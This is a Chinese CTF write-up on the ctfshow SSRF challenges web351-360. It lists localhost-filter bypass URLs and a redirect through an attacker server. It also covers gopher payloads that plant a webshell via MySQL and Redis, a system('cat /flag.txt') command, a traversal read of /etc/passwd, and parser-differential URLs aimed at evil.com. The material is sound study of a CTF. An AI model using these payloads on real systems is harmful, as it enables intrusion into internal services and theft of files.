SSRF(ctfshow)
web351-358
这部分的题目都是明文的,按照题目要求绕过就行了
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>
本地读取flag.php
本机地址过滤绕过方法:
url=http://127.1/flag.php
url=http://sudo.cc/flag.php
url=http://0/flag.php//借助服务器
url=http://服务器ip/1.php
1.php的内容:<?php
header("Location:http://127.0.0.1/flag.php"); //以http://ctf.开头,以show结尾,用@截断
url=http://ctf.@127.0.0.1/flag.php?show
web359(打mysql)
题目是一个登录页面,修改returl可以看到可以访问输入的url,我们这里利用gopherus工具通过mysql模块生成payload
这里的_后面还要再次url编码(后端curl接收到参数之后会默认再解码一次)
post发送之后访问2.php
ls之后看到一个flag.txt 文件查看
cmd=system('cat /flag.txt');
解析
这道题的思路是通过远程连接mysql,并把一句话木马写入文件
只在以下情境下生效
mysql允许远程连接
root用户没有设置密码
mysql用户有文件写入的权限
知道web目录的路径
存在ssrf漏洞可以触发gopher这个请求。
web360(打redis)
同理再次url编码后发送,访问shell.php,post提交cmd=system('cat /flaaag');得到flag
总结
127绕过
各种指向127.0.0.1的地址
http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
url=http://sudo.cc/flag.php//借助服务器
url=http://服务器ip/1.php
1.php的内容:<?php
header("Location:http://127.0.0.1/flag.php"); //以http://ctf.开头,以show结尾,用@截断
url=http://ctf.@127.0.0.1/flag.php?show
利用不存在的协议头绕过指定的协议头
file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时会把这个协议头当成文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件
如:ssrf.php?url=httpsssss://../../../../../../etc/passwd
URL解析差异
1.readfile和parse_user函数解析差异绕过指定端口
$url = $_GET['url'];
$parsed = parse_url($url);// 检查端口是否为允许的80端口
if(isset($parsed['port']) && $parsed['port'] != 80) {die("Port not allowed");
}// 实际读取文件
readfile($url);
如果我们要读取11211端口的文件的话可以
这种差异来源于
parse_url() 将 @ 符号前的内容识别为认证信息
readfile() 的底层实现可能使用不同的 URL 解析器,可能将最后一个 @ 后的内容作为实际目标
2.利用curl和parse_url的解析差异绕过指定host
http://example.com.evil.com/
http://example.com\@evil.com/
http://example.com%[email protected]/parse_url() 解析:
host: example.com (看起来合法)cURL 实际连接:
连接到 example.com.evil.com 或 evil.com
这种差异源于:
域名解析差异
parse_url() 可能不验证域名的有效性
cURL 会解析最终域名
特殊字符处理:
parse_url() 可能忽略某些特殊字符
cURL 可能将某些字符解释为分隔符
编码差异:
URL 编码字符可能被不同方式解码